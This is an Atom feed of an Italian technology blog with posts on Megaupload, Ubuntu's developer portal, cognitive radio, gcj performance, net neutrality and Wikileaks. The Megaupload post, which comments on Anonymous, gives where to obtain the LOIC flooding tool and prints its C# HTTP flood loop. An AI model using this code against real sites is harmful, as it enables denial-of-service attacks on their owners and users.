<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-8006066354061501161</id><updated>2012-02-14T00:58:16.123+01:00</updated><category term='Red Hat'/><category term='Python'/><category term='Twitter'/><category term='Fedora'/><category term='Microsoft'/><category term='Ide'/><category term='Free Software'/><category term='Wallpaper'/><category term='Kernel'/><category term='TuxJournal'/><category term='Wine'/><category term='GNU'/><category term='Petizione'/><category term='Open Contacts'/><category term='Sicurezza'/><category term='Università'/><category term='OpenMoko'/><category term='Censura'/><category term='GrLug'/><category term='Chrome'/><category term='Spamassassin'/><category term='Mozilla'/><category term='Scovolemmi'/><category term='Diritto'/><category term='Libri'/><category term='How To Pythonize'/><category term='Android'/><category term='IMPORTANTISSIMO'/><category term='Video'/><category term='OpenGL'/><category term='Sfat'/><category term='Aggiornamento'/><category term='Mobile'/><category term='Storia'/><category term='Go'/><category term='Script'/><category term='Internet'/><category term='BiblioTeCa'/><category term='Debian'/><category term='C/C++'/><category term='LuccaLUG'/><category term='Programmazione'/><category term='Perl'/><category term='Linus Torvalds'/><category term='Fun'/><category term='Java'/><category term='NetBeans'/><category term='Gnome'/><category term='Google'/><category term='Open Source'/><category term='App Engine'/><category term='C#'/><category term='PHP'/><category term='Net and System Security'/><category term='Open Document'/><category term='Sun'/><category term='Gnu Linux Ubuntu'/><category term='Linux'/><category term='Gnu Linux'/><category term='Eclipse'/><category term='Project-Helper'/><category term='OpenOffice.org'/><category term='Qt'/><category term='Libertà di parola'/><category term='Giochi'/><category term='Linux Day'/><category term='Dilbert'/><category term='Ubuntu'/><category term='La Spezia'/><category term='WiFi'/><category term='BackTrack'/><category term='QToDo'/><category term='Gnu Linux Slackware'/><category term='Books'/><title type='text'>Think Open</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://opentalking.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://opentalking.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><link rel='next' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default?start-index=101&amp;max-results=100'/><author><name>Massimiliano Giovine</name><uri>http://www.blogger.com/profile/12001974026515363691</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_sXS0ScZT1Nw/TB_c3I39Q2I/AAAAAAAAAho/l8--KQsgsWA/S220/31325_1495267103154_1278374608_1379470_7878255_n.jpg'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>218</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-8006066354061501161.post-4832721557642742485</id><published>2012-01-24T22:43:00.000+01:00</published><updated>2012-01-24T22:43:36.972+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Sicurezza'/><category scheme='http://www.blogger.com/atom/ns#' term='C#'/><category scheme='http://www.blogger.com/atom/ns#' term='Internet'/><title type='text'>Megaupload e la solita storia</title><content type='html'>Quando succede qualcosa come la chiusura di megaupload non ci si può limitare a guardare il dito.&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://screencrave.frsucrave.netdna-cdn.com/wp-content/uploads/2010/11/v-for-vendetta-5-11-10-kc.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="240" src="http://screencrave.frsucrave.netdna-cdn.com/wp-content/uploads/2010/11/v-for-vendetta-5-11-10-kc.jpg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;È stato chiuso un sito di hosting, forse uno dei migliori, perchè le persone caricavano e condividevano file coperti dal diritto d'autore.Oramai il mio punto di vista è chiaro su questi argomenti. Tutte le volte le autorità ci cascano e si accaniscono sui mezzi.Con lo stesso principio potrebbero essere rimosse dal mercato le automobili visto che, se guidate da persone ubriache o drogate, possono causare danni e morti.&lt;br/&gt;&lt;br/&gt;Dall'altra parte voglio leggere la reazione di &lt;a href="http://en.wikipedia.org/wiki/Anonymous_%28group%29"&gt;Anonymous&lt;/a&gt; come una difesa del diritto di utilizzare un servizio cloud.Arriviamo dunque al punto di quest'articolo: &lt;a href="http://www.net-security.org/secworld.php?id=12264"&gt;Tool used in Anonymous Megaupload campaign&lt;/a&gt;.&lt;br/&gt;Il tool di cui parla l'articolo è un flooder scritto in C# che può essere clonato da git://github.com/NewEraCracker/LOIC.git.Vi post qua sotto la parte principale nella quale si vede come si sviluppa il flood. Niente di complicato.&lt;br /&gt;Ottima la richiesta http completamente configurabile che viene inserito nel buffer in uscita dalla prima riga.&lt;br /&gt;&lt;pre style="font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; color: #000000; background-color: #eee;font-size: 12px;border: 1px dashed #999999;line-height: 14px;padding: 5px; overflow: auto; width: 100%"&gt;&lt;code&gt;byte[] buf = System.Text.Encoding.ASCII.GetBytes(String.Format(&amp;quot;GET {0}{1} HTTP/1.1{5}Host: {3}{5}User-Agent: {2}{5}Accept: */*{5}{4}{5}{5}&amp;quot;, Subsite, (AllowRandom ? Functions.RandomString() : null), Functions.RandomUserAgent(), Host, (AllowGzip ? &amp;quot;Accept-Encoding: gzip, deflate&amp;quot; + Environment.NewLine : null), Environment.NewLine));&lt;br /&gt;        IPEndPoint RHost = new IPEndPoint(System.Net.IPAddress.Parse(IP), Port);&lt;br /&gt;        while (IsFlooding)&lt;br /&gt;        {&lt;br /&gt;          State = ReqState.Ready; // SET STATE TO READY //&lt;br /&gt;          LastAction = Tick();&lt;br /&gt;          byte[] recvBuf = new byte[64];&lt;br /&gt;          Socket socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);&lt;br /&gt;          State = ReqState.Connecting; // SET STATE TO CONNECTING //&lt;br /&gt;&lt;br /&gt;          try { socket.Connect(RHost); }&lt;br /&gt;          catch { continue; }&lt;br /&gt;&lt;br /&gt;          socket.Blocking = Resp;&lt;br /&gt;          State = ReqState.Requesting; // SET STATE TO REQUESTING //&lt;br /&gt;          socket.Send(buf, SocketFlags.None);&lt;br /&gt;          State = ReqState.Downloading; Requested++; // SET STATE TO DOWNLOADING // REQUESTED++&lt;br /&gt;&lt;br /&gt;          if (Resp)&lt;br /&gt;            socket.Receive(recvBuf, 64, SocketFlags.None);&lt;br /&gt;&lt;br /&gt;          State = ReqState.Completed; Downloaded++; // SET STATE TO COMPLETED // DOWNLOADED++&lt;br /&gt;          tTimepoll.Stop();&lt;br /&gt;          tTimepoll.Start();&lt;br /&gt;&lt;br /&gt;          if (Delay &amp;gt;= 0)&lt;br /&gt;            System.Threading.Thread.Sleep(Delay+1);&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Un'osservazione interessante da fare è la facilità con la quale chiunque può flooddare un sito e contribuire a questo tipo di rappresaglie. Ma ecco anche come viene meno la filosofia iniziale del movimento nel momento in cui all'interno dell'insieme "chiunque" finisce solo chi ha voglia di rompere e trollare.Buona lettura / studio ;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8006066354061501161-4832721557642742485?l=opentalking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opentalking.blogspot.com/feeds/4832721557642742485/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8006066354061501161&amp;postID=4832721557642742485' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/4832721557642742485'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/4832721557642742485'/><link rel='alternate' type='text/html' href='http://opentalking.blogspot.com/2012/01/megaupload-e-la-solita-storia.html' title='Megaupload e la solita storia'/><author><name>Massimiliano Giovine</name><uri>http://www.blogger.com/profile/12001974026515363691</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_sXS0ScZT1Nw/TB_c3I39Q2I/AAAAAAAAAho/l8--KQsgsWA/S220/31325_1495267103154_1278374608_1379470_7878255_n.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8006066354061501161.post-1582423685816762874</id><published>2011-09-22T22:59:00.001+02:00</published><updated>2011-09-22T23:03:29.869+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Programmazione'/><category scheme='http://www.blogger.com/atom/ns#' term='Gnu Linux Ubuntu'/><category scheme='http://www.blogger.com/atom/ns#' term='Ubuntu'/><title type='text'>Ubuntu Developer - Un portale tante idee</title><content type='html'>Inizio questo mio post dopo un'assenza piuttosto lunga dichiarando subito che quanto stiamo per analizzare non è nulla di incredibilmente nuovo.Recentemente ha attirato la mia attenzione un progetto di ubuntu: &lt;a href="http://http//developer.ubuntu.com/"&gt;Ubuntu Developer Portal&lt;/a&gt;.&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-uRldu1GHBdE/TnubH3i1XbI/AAAAAAAAAqc/VryPuWujbcw/s1600/background.png" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"&gt;&lt;img border="0" height="256" src="http://2.bp.blogspot.com/-uRldu1GHBdE/TnubH3i1XbI/AAAAAAAAAqc/VryPuWujbcw/s320/background.png" width="256" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;L'idea che sta alla base di questo nuovo progetto targato Canonical non è niente di innovativo: un portale dove raccogliere app. Soprattutto con l'avvento degli smart phone, questo tipo di "magazzini" è diventato di moda.&lt;br /&gt;&lt;br /&gt;&amp;nbsp;Ciò che contraddistingue questa nuova piattaforma, dalla quale sinceramente mi aspetto molto, è la stretta relazione che ha con uno dei sistemi operativi open source più diffusi.In questo momento il sito propone solo un'anteprima di quello che sarà il servizio ma già abbiamo materiale a sufficenza per un'analisi preliminare.Nella pagina "Create" viene pubblicizzato uno strumento che assiste lo sviluppatore novizio nella creazione e distribuzione di un'applicazione per Ubuntu.&lt;br /&gt;&lt;br /&gt;Sono venuto così a conoscenza (ammetto di non averlo mai visto prima) di un tool, Quickly, che permette di creare applicazioni in python con interfaccia grafica il tutto dando alcuni comandi da terminale e con una guida in linea piuttosto utile e ben scritta.Il lato negativo di questo abbassamento del livello di difficoltà sarà sencondo me un ancora maggiore moltiplicarsi di applicazioni che hanno il medesimo scopo. Rimane comunque uno strumento a cui dare un'occhiata nel proprio tempo libero.&lt;br /&gt;&lt;br /&gt;&amp;nbsp;La prima perplessità è l'utilizzo del solo launchpad per l'hosting del codice. Una mossa scontata da parte di Canonical, dalla quale avrei però voluto la possibilità di scegliere altri tipi di controllo di versione, fra cui ovviamente GIT. &lt;i&gt;Questo è ancora un punto a favore del portale GitHub&lt;/i&gt;.&lt;br /&gt;&amp;nbsp;La seconda riguarda la pubblicazione di applicazioni a pagamento. Penso di non essere l'unico a sostenere tramite paypal sviluppatori open source e Canonical in primis per il lavoro svolto, ma quest'opera che tende ad assomigliare ad Apple mi lascia un certo amaro in bocca. Le applicazioni, principalmente scritte in python (e non perchè è un linguaggio che mi è simpatico ma perchè lo stesso Quickly lo propone come linguaggio di sviluppo) con il codice sorgente a disposizione su launchpad, potranno sicuramente essere reimpacchettate e distribuite gratuitamente con tutta la disputa che ne uscirà.Dall'altro lato la possibilità di pubblicare direttamente sull'Ubuntu Software Center sarà perfetta per far conoscere applicazioni utilissime che altrimenti sarebbero rimaste nell'ombra.&lt;br /&gt;&lt;br /&gt;&amp;nbsp;Concludendo: questo portale riprende il concetto di application store e lo lega ad Ubuntu. L'idea è ottima ma gradirei non vedere i soliti autogol che si fa Canonical per imitare Apple. ;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8006066354061501161-1582423685816762874?l=opentalking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opentalking.blogspot.com/feeds/1582423685816762874/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8006066354061501161&amp;postID=1582423685816762874' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/1582423685816762874'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/1582423685816762874'/><link rel='alternate' type='text/html' href='http://opentalking.blogspot.com/2011/09/ubuntu-developer-un-portale-tante-idee.html' title='Ubuntu Developer - Un portale tante idee'/><author><name>Massimiliano Giovine</name><uri>http://www.blogger.com/profile/12001974026515363691</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_sXS0ScZT1Nw/TB_c3I39Q2I/AAAAAAAAAho/l8--KQsgsWA/S220/31325_1495267103154_1278374608_1379470_7878255_n.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/-uRldu1GHBdE/TnubH3i1XbI/AAAAAAAAAqc/VryPuWujbcw/s72-c/background.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8006066354061501161.post-5348821701783796911</id><published>2011-03-06T14:11:00.005+01:00</published><updated>2011-03-06T14:23:31.113+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Sicurezza'/><category scheme='http://www.blogger.com/atom/ns#' term='Internet'/><category scheme='http://www.blogger.com/atom/ns#' term='WiFi'/><title type='text'>Cognitive Radio - Uno sguardo approfondito</title><content type='html'>Volevo sottoporre a tutti quelli che passeranno per questa pagina un argomento interessante che è stato oggetto di una ricerca per un esame universitario: Cognitive Radio Networks.&lt;br /&gt;&lt;br /&gt;Ho scritto un veloce paper su che cosa rappresentano le Cognitive Radio per lo sviluppo delle comunicazioni e quali problemi di sicurezza possano portare con se.&lt;br /&gt;Mi piacerebbe che da questa piccola introduzione nascesse un dibattito per approfondire e suggerire eventuali soluzioni.&lt;br /&gt;&lt;br /&gt;&lt;a href="https://docs.google.com/viewer?a=v&amp;pid=explorer&amp;chrome=true&amp;srcid=0B4kRIclzWpi1ZDhhN2MyMTUtZTNjMS00MGQxLWE0ZDktMDBjMzcxZWZhNmI2&amp;hl=en"&gt;Link al paper&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;All'interno del paper si fa anche un costante riferimento al Nokia Reseach che si è occupata di vedere dove è possibile impiegare con successo questa nuova tecnologia.&lt;br /&gt;È possibile anche vedere il video prodotto su YouTube che metto qua sotto per chi fosse interessato.&lt;br /&gt;&lt;iframe title="YouTube video player" width="500" height="311" src="http://www.youtube.com/embed/2MGkNIB-dhE?rel=0" frameborder="0" allowfullscreen&gt;&lt;/iframe&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8006066354061501161-5348821701783796911?l=opentalking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opentalking.blogspot.com/feeds/5348821701783796911/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8006066354061501161&amp;postID=5348821701783796911' title='1 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/5348821701783796911'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/5348821701783796911'/><link rel='alternate' type='text/html' href='http://opentalking.blogspot.com/2011/03/cognitive-radio-uno-sguardo.html' title='Cognitive Radio - Uno sguardo approfondito'/><author><name>Massimiliano Giovine</name><uri>http://www.blogger.com/profile/12001974026515363691</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_sXS0ScZT1Nw/TB_c3I39Q2I/AAAAAAAAAho/l8--KQsgsWA/S220/31325_1495267103154_1278374608_1379470_7878255_n.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://img.youtube.com/vi/2MGkNIB-dhE/default.jpg' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8006066354061501161.post-8168359186954575155</id><published>2011-01-20T20:48:00.006+01:00</published><updated>2011-01-20T22:24:47.916+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Java'/><category scheme='http://www.blogger.com/atom/ns#' term='Programmazione'/><category scheme='http://www.blogger.com/atom/ns#' term='Open Source'/><title type='text'>Java and performance, non è impossibile con gcj</title><content type='html'>Java è un buon linguaggio. Molto diffuso e ricco di documentazione e librerie.&lt;br /&gt;La Java VM è molto lenta. Molto lenta. Mooooooooolto lenta.&lt;br /&gt;Sono venuto così a contatto con gcj ovvero gcc per Java. Questo compilatore produce un file eseguibile esattamente come per C/C++.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.informaticapratica.com/wp-content/uploads/2009/05/java-logo.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 250px; height: 332px;" src="http://www.informaticapratica.com/wp-content/uploads/2009/05/java-logo.png" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;A questo punto viene spontaneo fare un piccolo test di performance. Premetto che il test proposto non ha valenza assoluta.&lt;br /&gt;&lt;br /&gt;Compiliamo questa classe.&lt;br /&gt;&lt;pre style="font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; color: #000000; background-color: #eee;font-size: 12px;border: 1px dashed #999999;line-height: 14px;padding: 5px; overflow: auto; width: 100%"&gt;&lt;code&gt;public class MiaClass&lt;br /&gt;{&lt;br /&gt;  public MiaClass()&lt;br /&gt;  {&lt;br /&gt;  }&lt;br /&gt;  &lt;br /&gt;  public void print()&lt;br /&gt;  {&lt;br /&gt;    long startTime = System.currentTimeMillis();&lt;br /&gt;&lt;br /&gt;    callOperationToTime();&lt;br /&gt;&lt;br /&gt;    long endTime   = System.currentTimeMillis();&lt;br /&gt;&lt;br /&gt;    long totalTime = endTime - startTime;&lt;br /&gt;    &lt;br /&gt;    System.out.println(&amp;quot;Time: &amp;quot; + totalTime);&lt;br /&gt;  }&lt;br /&gt;  &lt;br /&gt;  private void callOperationToTime()&lt;br /&gt;  {&lt;br /&gt;    for(int i = 0; i &amp;lt; 10000; i++)&lt;br /&gt;    {&lt;br /&gt;      System.out.println(&amp;quot; &amp;quot;);&lt;br /&gt;    }&lt;br /&gt;  }&lt;br /&gt;}&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;e successivamente richiamiamola da un semplice "main".&lt;br /&gt;&lt;br /&gt;&lt;pre style="font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; color: #000000; background-color: #eee;font-size: 12px;border: 1px dashed #999999;line-height: 14px;padding: 5px; overflow: auto; width: 100%"&gt;&lt;code&gt;public class HelloWorld {&lt;br /&gt; &lt;br /&gt;   public static void main(String[] args) {&lt;br /&gt;      MiaClass c = new MiaClass();&lt;br /&gt;      c.print();&lt;br /&gt;   }&lt;br /&gt;      &lt;br /&gt;}&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Questo codice compilato con gcj esegue le operazioni in 75ms mentre lanciato con la Java VM i millisecondi salgono a 291.&lt;br /&gt;&lt;br /&gt;La mia macchina è un P8400 e Ubuntu 10.04.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8006066354061501161-8168359186954575155?l=opentalking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opentalking.blogspot.com/feeds/8168359186954575155/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8006066354061501161&amp;postID=8168359186954575155' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/8168359186954575155'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/8168359186954575155'/><link rel='alternate' type='text/html' href='http://opentalking.blogspot.com/2011/01/java-and-performance-non-e-impossibile.html' title='Java and performance, non è impossibile con gcj'/><author><name>Massimiliano Giovine</name><uri>http://www.blogger.com/profile/12001974026515363691</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_sXS0ScZT1Nw/TB_c3I39Q2I/AAAAAAAAAho/l8--KQsgsWA/S220/31325_1495267103154_1278374608_1379470_7878255_n.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8006066354061501161.post-4301781735686513999</id><published>2011-01-09T22:17:00.004+01:00</published><updated>2011-01-09T22:44:41.573+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Internet'/><category scheme='http://www.blogger.com/atom/ns#' term='Diritto'/><title type='text'>"Un web ingarbugliato"</title><content type='html'>Il primo The Economist del 2011 ha al suo interno un articolo molto interessante che si intitola appunto &lt;a href="http://www.economist.com/node/17800141"&gt;"A tagled web"&lt;/a&gt;.&lt;br /&gt;Parla della nuova riforma &lt;a href="http://www.fcc.gov/"&gt;FCC&lt;/a&gt; circa la "network neutrality".&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://erdalelektronik.com/images/rj45%20cable.jpg"&gt;&lt;img style="float:right; margin:0 0 10px 10px;cursor:pointer; cursor:hand;width: 200px; height: 200px;" src="http://erdalelektronik.com/images/rj45%20cable.jpg" border="0" alt="" /&gt;&lt;/a&gt; La network neutrality non riguarda i contenuti della rete ma il mezzo di trasmissione. Negli States è un problema molto sentito anche politicamente per la mancanza di competizione per le offerte di connettività.&lt;br /&gt;Il problema principale è  la "pay for priority". Significa che le compagnie potrebbero favorire il traffico di un utente che paga di più rispetto a chi paga una tariffa inferiore. L'articolo descrive la situazione attuale, dopo la riforma, e denuncia come questo problema sia stato elegantemente trascurato. Recita infatti che sono "proibite discriminazioni non ragionevoli" lasciando all'intelligenza dei provider la definizione di "discriminazione ragionevole".&lt;br /&gt;&lt;br /&gt;Ciò su cui mi vorrei concentrare però è la situazione italiana e paragonarla a quella statunitense.&lt;br /&gt;&lt;br /&gt;Per prima cosa l'articolo dell'Economist mette in rilievo quanto la questione regolamentata dalla FCC sia sentita politicamente e che posizioni tengono i due schieramenti. In Italia il problema della "network neutrality" non è minimamente percepito dalla classe politica. È evidente se si pensa a quanto Telecom sia stata in grado di fare il buono e il cattivo tempo. Chi sta per dire "Fastweb" non lo dica. &lt;br /&gt;Secondo, ma non meno importante, problema è la mancanza di infrastrutture tali da garantire a tutti gli utenti una velocità dignitosa. In alcune zone d'Italia non arriva il segnale ADSL. Questo è solo un reminder perchè il problema è vecchio come internet.&lt;br /&gt;&lt;br /&gt;La liberalizzazione delle reti wi-fi nelle piazze è un evento importante ma credo che sia solo un granello dell'immensa spiaggia chiamata "avanzamento tecnologico". Siamo un paese tremendamente indietro anche per quanto riguarda la connettività. Cerchiamo almeno di imparare dagli errori che gli altri stanno facendo con alcuni anni di anticipo rispetto a noi!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8006066354061501161-4301781735686513999?l=opentalking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opentalking.blogspot.com/feeds/4301781735686513999/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8006066354061501161&amp;postID=4301781735686513999' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/4301781735686513999'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/4301781735686513999'/><link rel='alternate' type='text/html' href='http://opentalking.blogspot.com/2011/01/un-web-ingarbugliato.html' title='&quot;Un web ingarbugliato&quot;'/><author><name>Massimiliano Giovine</name><uri>http://www.blogger.com/profile/12001974026515363691</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_sXS0ScZT1Nw/TB_c3I39Q2I/AAAAAAAAAho/l8--KQsgsWA/S220/31325_1495267103154_1278374608_1379470_7878255_n.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8006066354061501161.post-1998954350180164867</id><published>2010-12-30T20:36:00.003+01:00</published><updated>2010-12-30T21:07:49.919+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Sicurezza'/><category scheme='http://www.blogger.com/atom/ns#' term='Internet'/><title type='text'>Wikileaks a "palle ferme"</title><content type='html'>Cercherò di esporre il mio punto di vista sulla vicenda Wikileaks ora che tutti si sono un po' calmati.&lt;br /&gt;Ci sono diversi aspetti che mi hanno colpito di questa vicenda.&lt;br /&gt;Il primo è l'accanimento nei confronti di una persona: tale Julian Assange.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.dimasnurpanca.com/wp-content/uploads/2010/12/relaxing-way-julian-assange.jpg"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 249px; height: 339px;" src="http://www.dimasnurpanca.com/wp-content/uploads/2010/12/relaxing-way-julian-assange.jpg" border="0" alt="" /&gt;&lt;/a&gt;Il personaggio che è stato sulla bocca di tutti i politici (anche con pronunce discutibili) è quello raffigurato nella foto accanto con una pettinatura improbabile, oramai domata. Assange è sì il "publisher" di tutto quello che è all'interno del sito Wikileaks ma non è mica il diplomatico americano che si è lasciato sfuggire i documenti pubblicati. In pratica c'è una diga che fa acqua da tutte le parti e viene incolpato il povero contadino che intervistato al telegiornale dice "guardate che fra un po' si rompe tutto". Questo aspetto non deve tenere conto dell'accusa di violenza sessuale che dev'essere discussa in altra sede.&lt;br /&gt;Lo dico subito: secondo me la pubblicazione di questo materiale rientra nella libertà di stampa. Ai posteri l'ardua sentenza.&lt;br /&gt;Il secondo aspetto che mi ha colpito è l'anacronismo delle dichiarazioni dei politici (nessuna smentita sul contenuto, tanto per dire) e dei mezzi atti a contrastare il flusso costante di materiale pubblicato.&lt;br /&gt;Tutti gli stati si sono lanciati in accuse di qua, insulti di là e certe volte deliri. Nessuno però si è reso conto che siamo nel 2010 e che tutta la rete è invasa di informazioni private di tutti. Se nel calderone generale ci finiscono anche i documenti filtrati dalle ambasciate non c'è nulla di cui stupirsi. Il problema, se ce n'è uno a livello informatico, è come sia stato possibile che le politiche di sicurezza statunitensi abbiano lasciato questi enormi buchi e, se ce n'è uno a livello diplomatico, com'è possibile che nessuno prenda le distanze da quanto scritto in questi compromettenti documenti.&lt;br /&gt;Veniamo ora all'aspetto tecnico che più interessa. Come prevedibile non appena è stato bloccato dai dns il nome www.wikileaks.org sono nati una tonnellata di mirror che si rimbalzano le informazioni. Non contiamo ovviamente i servizi p2p ecc. perchè rischiamo di far venire dei mal di testa ai piani alti.&lt;br /&gt;Ovviamente una volta pubblicati su internet i documenti sono stati sottoposti a multipli wget -r per poter essere conservati anche dopo tutte le opere di censura.&lt;br /&gt;&lt;br /&gt;Spero veramente che i vertici capiscano che i giorni dei rapporti diplomatici 1.0 sono finiti. Oramai non solo il web ma anche la vita sta diventando 2.0 quindi è bene che tutti i rapporti che si stringono siano trasparenti e privi di giochetti da guerra fredda. Il risultato se no è un sito che colleziona, un hacker che viene incolpato mentre ce ne sono altri 100.000 che continuano a pubblicare e a mantenere viva questa isola di libertà, una marea di cazzate dette da politici disinformati e una brutta figura planetaria.&lt;br /&gt;&lt;br /&gt;Regards ;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8006066354061501161-1998954350180164867?l=opentalking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opentalking.blogspot.com/feeds/1998954350180164867/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8006066354061501161&amp;postID=1998954350180164867' title='1 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/1998954350180164867'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/1998954350180164867'/><link rel='alternate' type='text/html' href='http://opentalking.blogspot.com/2010/12/wikileaks-palle-ferme.html' title='Wikileaks a &quot;palle ferme&quot;'/><author><name>Massimiliano Giovine</name><uri>http://www.blogger.com/profile/12001974026515363691</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' 